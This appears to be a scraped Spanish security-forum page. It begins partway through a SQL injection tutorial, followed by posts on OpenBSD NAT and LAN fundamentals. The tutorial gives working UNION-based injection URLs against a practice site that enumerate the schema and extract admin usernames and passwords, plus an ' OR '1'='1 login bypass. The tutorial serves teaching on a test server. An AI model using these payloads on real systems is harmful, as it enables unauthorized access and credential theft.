¿Como lo sabemos si no podemos ver el codigo fuente? Pues usaremos valores verdaderos y falso para ver como responde. Si ejecutamos:

CÓDIGO
http://www.bullcariez.es/index1.php?id=1+and+1=1


La consulta se realizara como:

CÓDIGO
SELECT * FROM `users` WHERE id=1 and 1=1


Y si ejecutamos:

http://www.bullcariez.es/index1.php?id=1+and+1=0

La consulta será:

CÓDIGO
SELECT * FROM `users` WHERE id=1 and 1=0


Como 1 no es igual a 0, en éste último caso la consulta no se realizará, por lo que no aparecen los datos de la base de datos en los campos de la web. Vale sabemos que es vulnerable, y ahora qué?

Tenemos que tener claro nuestro propósito, obtener información de la base de datos, en éste caso el nombre de usuario y contraseña del administrador. Como la podemos obtener? Pues lo que haremos será realizar una consulta en la variable vulnerable para que nos muestre los datos que queremos.


2- Averiguar el número de Columnas

Lo primero que tenemos que hacer es averiguar el número de columnas que tiene la tabla para poder hacer nosotros consultas, para eso se utiliza order by:

http://www.bullcariez.es/index1.php?id=1+order+by+1

Como la tabla tiene más de 1 campo, se mostrará correctamente, seguimos:

http://www.bullcariez.es/index1.php?id=1+order+by+2

Y así hasta llegar a 7, que se producirá un error:

http://www.bullcariez.es/index1.php?id=1+order+by+7

Pues ya lo tenemos, tiene 6 campos, que fué él valor más alto que se mostró correctamente.


3- Haciendo nuestra consulta

Ahora que ya tenemos el número de columnas, 6, podemos hacer nuestra consulta:

http://www.bullcariez.es/index1.php?id=-1+union+select+1,2,3,4,5,6

Union: Se usa para combinar los resultados de varias sentencias SELECT.

Select: Nos permite consultar los datos almacenados en una tabla de la base de datos.

Luego ponemos las 6 columnas numerados del 1 al 6, lo que nos permitirá ver que campos se imprimen, los cuales nos permitirán a nosotros imprimir resultados. Vemos que los campos que se imprimen son 1,4,5,6. Que podemos hacer con ellos? Pues imprimir información, un ejemplo:

http://www.bullcariez.es/index1.php?id=-1+union+select+version(),2,3,database(),user(),connection_id()

version(): Devuelve la versión del servidor SQL.
database(): Devuelve el nombre de la base de datos.
user(): Devuelve el nombre de usuario conectado a la base de datos.
connection_id(): Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.

El 2 y el 3 no nos valen para imprimir resultados ya que no se muestran en pantalla.


4- Buscando nuestra tabla

Ahora que ya podemos imprimir lo que queramos en esos campos, buscaremos la tabla que contiene el usuario y contraseña de los usuarios. Para recorrer las tablas de una base de datos se utilizaremos lo siguiente:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Al ejecutar eso, nos mostrará el nombre de una tabla, pero no es la que queremos. Para recorrer las tablas en busca de la tabla que nos interesa, aumentaremos progresivamente el limit. Por ejemplo para ver la siguiente tabla:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+2,1

y la siguiente:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+3,1

Así continuamos hasta encontrar una que pueda contener lo que nosotros queremos, el usuario y contraseña del administrador. Traceamos hasta llegar al 17:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Users, ésa parece ser la tabla donde se guarda esos datos ( podría haberse llamado también admin, access, o cualquier nombre sospechoso).


5- Buscando nuestras columnas

Ahora que ya tenemos la tabla, sólo nos queda saber que datos imprimir. Nosotros queremos el nombre de usuario y la contraseña, pero tenemos que saber como se llaman esas columnas para poderlas imprimir. Tracear columnas es similar a tracear tablas, se usa lo siguiente:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+
where+table_name=char(NombreDeLaTablaEnAscii)+and+column_name+like+char(37,64,37)
En NombreDeLaTablaEnAscii irá el nombre de la tabla en código ascii separado por comas, aquí podemos ver las conversiones, luego subo un programa para hacer ésto de una forma más cómoda.

La inyección quedaría así:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,64,37)

Oh, pero no se muestra nada! Tranquilo, ahora tenemos que ir traceando. Vamos aumentando el valor de 64 porgresivamente e iremos viendo diferentes nombres de columnas. Probemos con 65:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)

Ah bien ya tenemos una de las columnas que buscabamos la que guarda el pass! Vale pues ahora a por la otra, la del usuario, seguimos traceando:

El 67 no nos muestra nada, el 68 nos muestra id que no nos interesa... 69 lo tenemos!


6- Imprimiendo los datos

Ya tenemos todo! Sabemos que tenemos que leer la columna Pass y la columna nombre de la tabla users, pues vamos a armar la inyección:

http://www.bullcariez.es/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users

Bien ya está! Tenemos el nombre de usuario y contraseña del administrador! Bueno, pues aprovechamos que tenemos todo y sacamos la de otro user:

http://www.bullcariez.es/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users+where+id=2

Ahí mandamos imprimir el nomre y pass de la tabla users donde el id es 2, el id del Admin suele ser 1, como es el primero se puede omitir y lo imprime igual.

Como sería para los demás users? Pues igual, solo cambiando el id.

Pues ésto fue todo por hoy, lo dejamos aquí de momento, aunque pronto actualizaré el post para poner más información de algunos comandos que hoy pasé así muy rápido.

Y aprovechad http://www.bullcariez.es para hacer pruebas, intentad sacar los users y pass vosotros solos, o provado cosas para ir cogiendo soltura.



ACTUALIZACIÓN

Bueno, pues el otro día Krackwar me presentó una función que desconocía ( De ese 99% que desconozco, xD): group_concat()

¿Para que sirve ésta función?

Bueno, algunos habréis tenido problemas o os lió algo lo de buscar tablas y columnas con el método anterior, o simplemente os parecía muy largo el proceso, bueno, y si pudieramos imprimir todas las tablas y columnas con una única sentencia? Ahí entra group_concat(), concadena miembros de un grupo como puede ser el nombre de las tablas y el nombre de las columnas, mejor con un ejemplo no? xD:

Para las tablas:

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(table_name),
2,3,4,5,6+from+information_schema.tables

Y para las columnas:

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(column_name),
2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)



Ejercicio nº 2

Bueno pues para continuar el taller explicando otro tipo de inyección, me ayudaré del ejercicio 2 del servidor de pruebas de http://www.bullcariez.es . En éste ejercicio lo más interesante es entender la inyección.

-El código vulnerable

[code=sql>SELECT nombre FROM users Where nombre='$login' and Pass='$pass'[/code>

Nos deja pasar si al comprobar en la tabla users el nombre se corresponde con la contraseña. Nuestro objetivo es tener acceso sin saber el pass, podríamos modificar de alguna forma esa sentencia para que nos dejara pasar? Pues si.

-Nuestra inyección

Si en el campo login introducimos ADMIN y en password escribimos por ejemplo: Zero' OR '1'='1 la sentencia quedaría:

[code=sql>SELECT nombre FROM users Where nombre='ADMIN' and Pass='Zero' OR '1'='1'[/code>

Nos deja pasar si al comprobar en la tabla users al nombre ADMIN le corresponde la contraseña Zero o si 1 es igual a 1

Como 1 es igual a 1, nos dejará pasar ;D. Hay muchas más posibilidades, lo único que hay que hacer es modificar la sentencia para que de true y nos deje pasar.


15
E-Zines / [Libro] El poder de las Redes
« en: Abril 10, 2010, 09:54:37 am »

16
Redes y antenas / Introducción a NAT
« en: Marzo 30, 2010, 03:06:25 pm »
Introducción a NAT

Introducción a NAT

La Traducción de Direcciones de Red, o NAT (Network Address Translation), es un sistema que se utiliza para asignar una red completa (o varias redes) a una sola dirección IP. NAT es necesario cuando la cantidad de direcciones IP que nos haya asignado nuestro proveedor de Internet sea inferior a la cantidad de ordenadores que queramos que accedan a Internet. NAT se describe en el RFC 1631.
NAT nos permite aprovechar los bloques de direcciones reservadas que se describen en el RFC 1918. Generalmente, una red interna se suele configurar para que use uno o más de estos bloques de red. Estos bloques son:
   
        10.0.0.0/8       (10.0.0.0 - 10.255.255.255)
   172.16.0.0/12    (172.16.0.0 - 172.31.255.255)
   192.168.0.0/16   (192.168.0.0 - 192.168.255.255)

Un sistema OpenBSD configurado para NAT tendrá como mínimo dos adaptadoras de red, una para Internet y la otra para la red interna. NAT se encargará de traducir los requerimientos desde la red interna, de modo que parezca que todos provienen del sistema OpenBSD en el que se encuentra configurado NAT.

Cómo Funciona NAT

Cuando un cliente en la red interna contacta con un máquina en Internet, envía paquetes IP destinados a esa máquina. Estos paquetes contienen toda la información de direccionamiento necesaria para que puedan ser llevados a su destino. NAT se encarga de estas piezas de información:
Dirección IP de origen (por ejemplo, 192.168.1.35)
Puerto TCP o UDP de origen (por ejemplo, 2132)
Cuando los paquetes pasan a través de la pasarela de NAT, son modificados para que parezca que se han originado y provienen de la misma pasarela de NAT. La pasarela de NAT registra los cambios que realiza en su tabla de estado, para así poder: a) invertir los cambios en los paquetes devueltos, y b) asegurarse de que los paquetes devueltos pasen a través del cortafuegos y no sean bloqueados. Por ejemplo, podrían ocurrir los siguientes cambios:

IP de origen: sustituida con la dirección externa de la pasarela (por ejemplo, 24.5.0.5)
Puerto de origen: sustituido con un puerto no en uso de la pasarela, escogido aleatoriamente (por ejemplo, 53136)
Ni la máquina interna ni el anfitrión de Internet se dan cuenta de estos pasos de traducción. Para la máquina interna, el sistema NAT es simplemente una pasarela a Internet. Para el anfitrión de Internet, los paquetes parecen venir directamente del sistema NAT; ni siquiera se da cuenta de que existe la estación interna.
Cuando el anfitrión de Internet responde a los paquetes internos de la máquina, los direcciona a la IP externa de la pasarela de NAT (24.5.0.5) y a su puerto de traducción (53136). La pasarela de NAT busca entonces en la tabla de estado para determinar si los paquetes de respuesta concuerdan con alguna conexión establecida. Entonces encontrará una única concordancia basada en la combinación de la dirección IP y el puerto, y esto indica a PF que los paquetes pertenecen a una conexión iniciada por la máquina interna 192.168.1.35. Acto seguido PF realiza los cambios opuestos a los que realizó para los paquetes salientes, y reenvía los paquetes de respuesta a la máquina interna.
La traducción de paquetes ICMP ocurre de forma parecida, pero sin la modificación del puerto de origen.
Activación de NAT
Para activar NAT en una pasarela de OpenBSD, además de activar PF, también hay que activar el reenvío de paquetes IP (IP forwarding):
# sysctl net.inet.ip.forward ing=1
# sysctl net.inet6.ip6.forwa rding=1 (si se usa IPv6)
Para que este cambio sea permanente, hay que añadir las siguientes líneas al fichero /etc/sysctl.conf:
net.inet.ip.forward ing=1
net.inet6.ip6.forwa rding=1
Estas líneas ya existen en la instalación determinada, pero como comentarios (prefijadas con #). Hay que quitar el signo # y guardar el fichero. El reenvío de IP se activará cuando se reinicie la máquina.
Configuración de NAT
El formato general para las reglas de NAT en /etc/pf.conf es parecido al siguiente:
nat on extif [af] from src_addr [port src_port] to \
   dst_addr [port dst_port] -> ext_addr
extif
El nombre de la interfaz de red.
af
La familia de direcciones, que será inet para IPv4 ó inet6 para IPv6. PF suele ser capaz de determinar este parámetro basándose en la dirección (o direcciones) de origen/destino.
src_addr
La dirección de origen (interna) de los paquetes que vayan a ser traducidos. La dirección de origen se puede especificar como:
Una dirección IPv4 ó IPv6 única.
Un bloque de red del esquema de «Enrutamiento de Inter-Dominios sin Clases» (CIDR).
Un «Nombre de Dominio Totalmente Cualificado» (FQDN) que se resolverá por el «Servicio de Nombres de Dominio» (DNS) cuando se cargue el grupo de reglas. Todas las direcciones IP resultantes se sustituirán dentro de la regla.
El nombre de una interfaz de red. Cualquier dirección IP asignada a la interfaz será sustituida dentro de la regla cuando se carguen las reglas.
El nombre de una interfaz de red seguida de una máscara de red como sigue: /netmask (por ejemplo /24). Cada dirección IP en la interfaz se combina con la máscara de red para formar un bloque de red CIDR que se sustituye dentro de la regla.
El nombre de una interfaz de red seguida de cualquiera de estos modificadores:
:network - expande a un bloque de red CIDR (ejemplo: 192.168.0.0/24)
:broadcast - expande a la dirección de difusión de la red (ejemplo: 192.168.0.255)
:peer - expande a la dirección IP del otro extremo en una conexión punto a punto
Además, el modificador :0 puede ser añadido tanto al nombre de la interfaz or a cualquier de los modificadores anteriores para indicar que PF no debe incluir direcciones IP de alias en la expansión. Estos modificadores también pueden ser usados cuando la interfaz esté enre paréntesis. Ejemplo: fxp0:network:0
Una tabla.
Cualquiera de los anteriores en negación, usando el modificador ! ("not").
Un grupo de direcciones que usen una lista.
La clave any para indicar todas las direcciones.
src_port
El puerto de origen en la capa Layer 4 de la cabecera del paquete. Los puertos se pueden especificar como:
Un número entre 1 y 65535
Un nombre de servicio válido de /etc/services
Un grupo de puertos que usen una lista
Un indicador de campo:
!= (no es igual que)
< (menor que)
> (mayor que)
<= (menor o igual que)
>= (mayor o igual que)
>< (intervalo)
<> (intervalo inverso)
Los dos últimos son operadores binarios (toman dos argumentos) y no incluyen los argumentos en el campo.
: (intervalo inclusivo)
El operador de intervalo inclusivo también es un operador binario e incluye el argumento en el intervalo.
La opción port no se suele usar en las reglas de nat por que el objetivo suele ser traducir las direcciones de todo el tráfico sin tener en cuenta el puerto, o los puertos, que se estén utilizando.
dst_addr
La dirección de destino de los paquetes que hay que traducir. La dirección de destino se especifica del mismo modo que la dirección de origen.
dst_port
El puerto de destino en la capa Layer 4 de la cabecera del paquete. Este puerto se especifica del mismo modo que el puerto de origen.
ext_addr
La dirección externa (la traducción) en la pasarela NAT a la que se traducirán los paquetes. La dirección externa se puede especificar como:
Una dirección IPv4 ó IPv6 única.
Un bloque de red CIDR.
Un «Nombre de Dominio Totalmente Cualificado» (FQDN) que se resolverá por el «Servicio de Nombres de Dominio» (DNS) cuando se cargue el grupo de reglas.
El nombre de la interfaz de red externa. Cualquier dirección IP asignada a la interfaz será sustituida dentro de la regla cuando se carguen las reglas.
El nombre de la interfaz de red externa entre paréntesis. De este modo se instruye a PF para que actualice la regla si la dirección, o direcciones, IP en dicha interfaz cambia. Es de gran utilidad cuando la interfaz externa obtiene su dirección IP por medio de DHCP o de una conexión tipo dial-up, ya que no hay que volver a cargar el grupo de reglas cada vez que cambie la dirección.
El nombre de una interfaz de red seguida por cualquiera de los siguientes modificadores:
:network - expande al bloque de red CIDR (ejemplo: 192.168.0.0/24)
:peer - expande a la dirección IP del extremo en una conexión punto a punto
Además, el modificador :0 puede ser añadido tanto al nombre de la interfaz o a cualquier de los modificadores anteriores para indicar a PF no debe incluir direcciones IP de alia en la expansión. Estos modificadores también pueden ser usados cuando la interfaz está encerrada entre paréntesis. Ejemplo: fxp0:network:0
Un grupo de direcciones que usen una lista.
Esto nos llevaría a una forma muy básica de la línea, que quedaría parecida a la siguiente:
nat on tl0 from 192.168.1.0:network to any -> 24.5.0.5
Esta regla indica que hay que realizar NAT en la interfaz tl0 para cualquier paquete que venga de 192.168.1.0/24, y sustituir la dirección IP de origen con 24.5.0.5.
Aunque la regla anterior es correcta, la forma no es la recomendable. El mantenimiento podría resultar difícil ya que cualquier cambio de los números de la red externa o interna requeriría que se cambiara la línea. Cómparese con la siguiente regla (tl0 es externa y dc0 interna), que es más fácil de mantener:
nat on tl0 from dc0:network to any -> tl0
La ventaja debería ser obvia: podemos cambiar la dirección IP de cualquiera de las interfaces sin cambiar esta regla.
Cuando se especifica un nombre de interfaz para la dirección de traducción, como en el ejemplo anterior, la dirección IP se determina en el momento de carga de pf.conf, no sobre la marcha. Si se está usando DHCP para configurar la interfaz externa, esto puede representar un problema, ya que si la dirección IP asignada cambiara, entonces NAT seguiría traduciendo los paquetes salientes usando la dirección IP antigua. Como resultado, las conexiones salientes dejarían de funcionar. Para evitarlo, se puede indicar a PF que actualice automáticamente la dirección de traducción poniendo entre paréntesis el nombre de la interfaz:
nat on tl0 from dc0:network to any -> (tl0)
Este método funciona para traducir tanto direcciones IPv4 como IPv6.

Asignación Bidireccional (asignación 1:1)

Se puede establecer una asignación de tipo bidireccional usando la regla binat. Una regla binat establece una asignación de uno por uno entre la dirección IP interna y la dirección externa. Esto puede ser útil, por ejemplo, para colocar un servidor de web en la red interna con su propia dirección IP externa. Las conexiones desde Internet hacia la dirección externa se traducirán a la dirección interna, y las conexiones desde el servidor de web (como los requerimientos de DNS) se traducirán a la dirección externa. Los puertos TCP y UDP nunca se modifican con las reglas binat como se modifican con las reglas nat.
Ejemplo:
web_serv_int = "192.168.1.100"
web_serv_ext = "24.5.0.6"

binat on tl0 from $web_serv_int to any -> $web_serv_ext
Excepciones a las Reglas de Traducción
Se pueden hacer excepciones a las reglas de traducción usando la clave no. Así, el ejemplo de NAT anterior se modificaría del siguiente modo:
no nat on tl0 from 192.168.1.10 to any
nat on tl0 from 192.168.1.0/24 to any -> 24.2.74.79
Y entonces los paquetes de toda la red 192.168.1.0/24 se traducirían a la dirección externa 24.2.74.79, a excepción de 192.168.1.10.
Nótese que la primera regla que concuerde será la que se aplique; si es una regla con la clave no, entonces el paquete no se traducirá. La clave no también se puede usar con reglas binat y rdr.

Comprobación del Estado de NAT

Para ver las traducciones de NAT activas se usa pfctl(8) con la opción y el argumento -s state. Esta opción muestra un listado de todas las sesiones de NAT actuales:
   # pfctl -s state
   fxp0 TCP 192.168.1.35:2132 -> 24.5.0.5:53136 -> 65.42.33.245:22 TIME_WAIT:TIME_WAIT
   fxp0 UDP 192.168.1.35:2491 -> 24.5.0.5:60527 -> 24.2.68.33:53   MULTIPLE:SINGLE
La explicación de esto (sólo de la primera línea) es:
fxp0
Indica la interfaz a la que está asociado el estado. Aparecerá la palabra self si el estado es floating.
TCP
El protocolo que está usando la conexión.
192.168.1.35:2132
La dirección IP (192.168.1.35) de la máquina en la red interna. El puerto de origen (2132) se muestra después de la dirección. Ésta también es la dirección que se sustituye en la cabecera IP.
24.5.0.5:53136
La dirección IP (24.5.0.5) y el puerto (53136) en la pasarela a la que se están traduciendo los paquetes.
65.42.33.245:22
La dirección IP (65.42.33.245) y el puerto (22) al que se está conectando la máquina interna.
TIME_WAIT:TIME_WAIT
Indica el estado en el que PF cree que se encuentra la conexión TCP.

Zirkua

17
Redes y antenas / [Red LAN] Y sus características
« en: Marzo 28, 2010, 09:30:13 am »
[Red LAN] Y sus características

L.A.N. (Local Area Network) o Red de Area Local

1. Introduccion

Una LAN es una red de computadoras, es decir, dos o mas equipos conectados entre si; de manera que pueden compartir todos los recursos del sistema, tales como: impresoras, cd-rom, disco duro, internet (a traves de proxy), etc...

El termino de "red local" se aplica al conjunto de computadoras comunicadas mediante cables conectados a las tarjetas de red instaladas en cada una de las maquinas.

2. Tipos de Redes

Las redes de area local se dividen en redes punto a punto, multipunto y redes con estructura cliente/servidor.

Una red punto a punto es aquella en la que todo equipo puede realizar el mismo tipo de funciones y no existe ninguna PC con una situacion privilegiada con respecto al resto. El control sobre los datos es dificil ya que se ponen los recursos de una pc a disposicion del resto de las computadoras de la red.

Una red multipunto es aquella en la que todos los equipos se conectan a una linea troncal (comun). Cada equipo debe tener un conector que una la linea del equipo con la linea troncal.

 Una red con estructura cliente/servidor es aquella en la que existen equipos que actuan como servidores de la red y que realizan operaciones especiales que el resto de las computadoras de la red no pueden realizar, de forma que se consigue una organizacion centralizada. Estos equipos deben estar tecnologicamente preparados para los equipos que van a realizar las operaciones.

3. Tipos de Clientes y Servidores

Tipos de clientes o estaciones de trabajo:

Estaciones de trabajo (terminales tontos) que no pueden ser capaces de trabajar si no hay conexion a la red.

Equipos que pueden trabajar sin conexion a la red. Normalmente en los servidores existe un sistema de cuentas de usuario para restringir el acceso.

Tipos de servidores:

Servidores de disco o de almacenamiento: Ponen a disposion de los clientes su capacidad de almacenamiento de datos, siendo ideal que su capacidad sea alta. Si el servidor de disco es de alto rendimiento, tiene que tener un sistema de redundancia tanto a nivel de software como de hardware, es decir, que deben existir tecnicas que permitan la duplicacion. Tambien debe haber dispositivos de seguridad y un sistema de alimentacion ininterrumpida (SAI), es decir, acumuladores de corriente que en caso de fallar la corriente electrica, suministren la energia necesaria a los equipos para que puedan seguir funcionando durante un periodo de tiempo, el cual, dependera del tipo de SAI que tengamos. Otra cosa a tener en cuenta es que si la red va a tener una densidad de trafico alta, es decir, muchas operaciones de lectura y escritura, el servidor de disco debera tener una tarjeta de red de alta velocidad para evitar la saturacion (los "cuellos de botella").

Servidores de impresion: es un servidor que pone a disposicion de los clientes la capacidad de imprimir. Debe tener la capacidad de gestionar la impresion de la red, es decir, que todos los trabajos que se manden a imprimir deberan ser puestos en una cola (cola de impresion). Tambien debe ser capaz de gestionar las prioridades a la hora de poder imprimir y poseer un control de errores. El servidor de impresion no tiene por que; ser una pc de la red, tambien puede ser un software instalado en una de las pc de la red, de forma que sea el el que actue como servidor de impresion (ademas de como cliente).

Servidores de graficos: es aquel que sirve graficos al resto de los clientes de la red, es decir, que se pueden tener equipos especializados en la red con tarjetas graficas mas avanzadas para crear los graficos de forma mas rapida y luego enviarlo al resto de los equipos.

Otros: tambien podemos tener servidores de comunicaciones y servidores de correo. Los servidores de comunicaciones son aquellos que controlan los servicios de comunicacion de una red de area local con el exterior. Los servidores de correo, son aquellos que realizan todas las funciones de servicio de mensajeria electronica entre los usuarios (mensajeria interna de la red). NO estamos hablando del correo electronico de Internet.

 
4. Topologia


La topologia es la disposicion de los equipos que forman una red y va a afectar al costo del cableado, el rendimiento global de la red, las expansiones de los quipos de la red y al efecto que un fallo de un equipo puede tener en el sistema.

 
La topologia se establece en dos niveles: La topologia a nivel logico se refiere a la secuencia de conexion de los equipos a nivel de software. Cada sistema operativo utilizara un forma. La topologia a nivel fisico es el metodo o forma de conectar los equipos.


Tipos de topologia:

En bus:

Todas las estaciones se encuentran conectadas directamente mediante un unico enlace dispuesto de forma lineal (bus). Se permite la transmision full-duplex y esta circula en todas direcciones a lo largo del bus, pudiendo cada estacion recibir o transmitir . Hay terminadores a cada extremo del bus para evitar la impedancia, es decir, que se pierdan las tramas. La topologia en bus es usada principalmente si hay pocos nodos (equipos) que conectar, para lo cual usaremos cableado de tipo coaxial y conectores especiales en forma de " T ". Lo malo de este tipo de topologia es que si se rompe el bus, se pierde toda la red.

 
 
En arbol:

La topologia en arbol es similar a la de bus pero se permiten ramificaciones a partir de un punto llamado raiz, aunque no se permiten bucles. De esta forma, si se produce algun error en alguno de los bus, no afectara; al funcionamiento de los otros. Esta topologia es usada cuando se quiere tener la red parcializada, es decir, dividida en distintas subredes.



En anillo:

Todas las estaciones de trabajo estan conectadas formando un anillo. Este tipo de distribucion usa unos dispositivos especiales llamados MAV, que se encargan de garantizar el establecimiento del anillo en todo momento. El MAV esta compuesto por una serie de mecanismos electricos y mecanicos. En esta topologia se suele usar cable de par trenzado si la red es token ring y cable coaxial si no lo es.

 
 
En estrella o radial:

Es la mejor de las cuatro, aunque tambien es la mas cara. Precisa un dispositivo espacial llamado concentrador o nodo, al que se conectan todo los equipos. De esta forma, los datos no van pasando de un equipo a otro hasta que llegan a su destino, sino que se envian desde la pc de origen al nodo y este los dirige a su destino. En caso de tener variar redes con sus respectivos nodos, podremos unirlas interconectando dichos nodos y en caso de colisiones, se puede cortar la conexion con los nodos sin que la red deje de funcionar.

 

5- Tipos de cableado



Medios guiados:


a) Cable de par trenzado (cable de pares)

 

Un par trenzado consiste en 2 cables de cobre recubiertos por un aislante de forma independiente y trenzados en espiral. Cada par es un enlace de comunicacion. Lo que se usa es haces de cables, compuesto por varios pares trenzados y todos ellos rodeados por una funda aislante.

 

El trenzado se hace para reducir la diafonia, es decir, la interferencia que se produce por se    ¤ales cercanas. Cuando una corriente electrica circula por un conductor, crea alrededor de ese conductor una corriente electromagnetica que provoca interferencias en las otras se    ¤ales electromagneticas que se esten transmitiendo.

 

Entre los distintos que esten paralelos tambien se puede producir algo de diafoniaa y para evitarlo, se establece el "paso de torcion", es decir, distintos pasos de torcion y de distinta forma.

 

El cable de par trenzado sirve para transmitir tanto se    ¤ales analogicas como digitales, independientemente del tipo de datos a transmitir.

 

Tipos de cables de par trenzado:

 

Cables sin apantallar (UTP) Son flexibles y faciles de manipular. Son baratos y la calidad es baja puesto que el aislante es malo.

 

Cables apantallados (STP) El cable se encapsula en una malla metalica que reduce las interferencias externas, produciendose el efecto de "Jaula de Faraday". Este cable es mas rigido, mas dificil de manipular y mas caro pero ofrece una calidad y velocidad mayor.

 

Posicionamiento de los cables en los machos (RJ45) Un cable de par trenzado consta de 4 pares de cables, es decir, 8 cables trenzados dos a dos. El posicionamiento de los cables da igual el que sea siempre y cuando mantengamos el mismo orden en los 2 RJ45. (Cuando vayas a conectarlos a un Hub o concentrador).

 

Si lo que quieres es conectar dos equipos con cable de pares, deberas seguir este otro orden para los RJ45.
 
b) Cable coaxial

 
El cable coaxial esta compuesto por un par de conductores de cobre o aluminio dispuestos de forma concentrica. Podemos distinguir tres partes: malla, nucleo y dielectrico

 
El nucleo es el que transmite la se    ¤al y esta protegido por el dielectrico (es un aislante).


La malla hace de punto de conexion y de "Jaula de Faraday" para atenuar las interferencias. Suele ser de cobre porque cuando un conductor se encierra sobre otro conductor, hace que se anule el campo magnetico del 1er conductor, con lo cual se atenua la diafonia.

 
En comparacion con el cable de pares, podemos destacar los siguientes aspectos: se produce menos atenuacion de la se    ¤al, menos diafonia, menos interferencias, se puede utilizar en distancias mas largas y su velocidad de transmision es de 100 Mbps (que se alcance o no dependera del tipo de tarjeta de red que poseamos).

 
c) Cable de cuadretes:

 
El cable de cuadretes esta compuesto por 4 hilos de cobre aislados individualmente y se pueden poner de dos formas:

 

1. Twisted o DM

Se trata de 2 pares trenzados y aislados. Se usa en lineas interurbanas cuando la distancia no es demasiada y en algunos casos esta sustituyendo al cable coaxial. Ademas, tambien se puede usar en conaxiones de baja frecuencia (ancho de banda bajo).

 
2. Estrella

En esta otra forma, se trenzan los 4 hilos y se usa para transmisiones de alta frecuencia. El uso que se le suele dar a este tipo de cable es el de convertir un cable aereo a un cable de cuadrete para evitar las interferencias


d) Cable aereo:

Se utiliza en transmisiones a larga distancia. Suelen ser de cobre o bronce. Es usado normalmente en zonas rurales. Son un par de cables paralelos que van sobre unos postes y poseen unos aislantes que suelen ser de vibrio o porcelana

 

e) Fibra Optica:

La principal caracteristica de la fibra optica es que no transmite se    ¤ales electromagneticas, sino photones (luz). Otras de las caracteristicas de este tipo de cable es que es flexible, muy fino (entre 2 y 100 micras) y esta realizado en cristal o plastico. El cable ideal para la fibra optica es el de silicio fundido ultrapuro.

El cable de fibra optica esta compuesto por un par de leds, una cubierta y un revestimiento.


Led (L) diodo emisor de luz. Normalmente es un laser y es un transductor. La cubierta esta compuesta por un tipo de plastico de caracteristicas distintas al del plastico usado para la transmision de la luz. Posee distintos materiales en las distintas capas que lo van a proteger de la humedad y la degradacion. Con esta cubierta se intenta que la luz no traspase. Esto se consigue con una ley fisica llamada "reflexion total".

Nota: al que recibe la luz se le llama fotodiodo y el que la emite se le llama diodo emisor.

Ventajas de la fibra optica:

- Mayor ancho de banda. Se pueden llegar a alcanzar hasta 2 Gb/s - Menor tama    ¤o y peso - Muy flexible - Menos atenuacion. (La atenuacion es constante para algunos anchos de banda). - No son vulnerables a los efectos de los campos electromagneticos, tales como la atenuacion, la diafonia, ... - Permite una mayor separacion entre repetidores, con lo cual se reduce el coste.

 Inconvenientes de la fibra optica:

- Los hilos son muy fragiles. - Las terminaciones deben llevar un dispositivo en cada extremo, con lo cual se encarece mucho.

6. Tarjetas de red

Bastara con tener una tarjeta de red o adaptador Ethernet 10BaseT, a ser posible compatible con la NE2000. Es preferible que la tarjeta sea PCI y que soporte el estandar Plug and Play.

7. Protocolos de comunicaciones

Un protocolo es una serie de normas que permiten la comunicacion entre las computadoras. Para que 2 o mas PC's puedan comunicarse, deberan tener alguan protocolo comun.

Los protocolos mas importantes son el TCP/IP, NetBeui y el IPX/SPX.

El TCP/IP (Transmision Control Protocol/Internet Protocol) es el protocolo usado en Internet (la red de redes) y tambien para las Intranets (las redes locales).

El NetBeui es utilizado de forma general en redes con PC's que tienen instalado algun sistema operativo Microsoft.

El IPX/SPX es el que se utiliza en las redes Novell Netware J. Algunos de los juegos en red y "on line" solo pueden disfrutarse si se tiene instalado.

8. Glosario de terminos

ATM: siglas de Modo de Transferencia Asincronica. Es un modelo especifico de transferencia de paquetes de datos que divide los paquetes en celdas de tama    ¤o fijo y de peque    ¤a longitud.

10BaseT: estandar Ethernet para transmisiones de 10 Mbps

BNC: conector propio de redes construidas con cable coaxial.

Diafonia: es la interaccion o acoplamiento entre se    ¤ales cercanas. Suele ocurrir cuando se acoplan los cables de pares y rara vez en cables coaxiales.

Encaminador o router: dispositivo de red encargado de distribuir los paquetes de datos por las rutas adecuadas para que alcancen finalmente su destino.

Ethernet: estandar de red propuesto por la IEEE con tecnologia en bus (norma 802.3)

Full-duplex: la comunicacion full-duplex o duplex permite que la transmision de la se    ¤al se realice de manera bidireccional y simultanea.

 Interferencia: es la union de una se    ¤al conocida y no deseada a otra se    ¤al. Una interferencia se puede separar de la se    ¤al original puesto que es conocida, en cambio, el ruido no se puede porque no se puede separar.

RJ-11: conector de 6 pines usado para conexiones de lineas telefonicas que puede utilizar 4 o 6 hilos.

 RJ-45: conector de 8 pines utilizado en las transmisiones de datos por lineas serie.

 Ruido: es la union de varias se    ¤ales no deseadas a una se    ¤al emitida. Tambien se puede decir que es la suma de varias interferencias. Tipos: termico, de intermodulacion, diafoniaa y ruido de impulso.

SAI: siglas de Sistema de Alimentacion Ininterrumpida. Dispositivo de alimentacion electrica protectores de fallos en el suministro electrico.

Topologia de red: estructura fisico-logica de una red.

Trama: conjunto de datos que componen una unidad en la capa de enlace de una comunicacion.

WAN (Wide Area Network): Red de area extensa

Fuente: CIA magazine

Autor ; superman

LOG DE MODERACION 14.03.2015
Edicion de colores en la fuente para correcta lectura, imagenes del post.
cloudswx

18
Introducción a Wesside

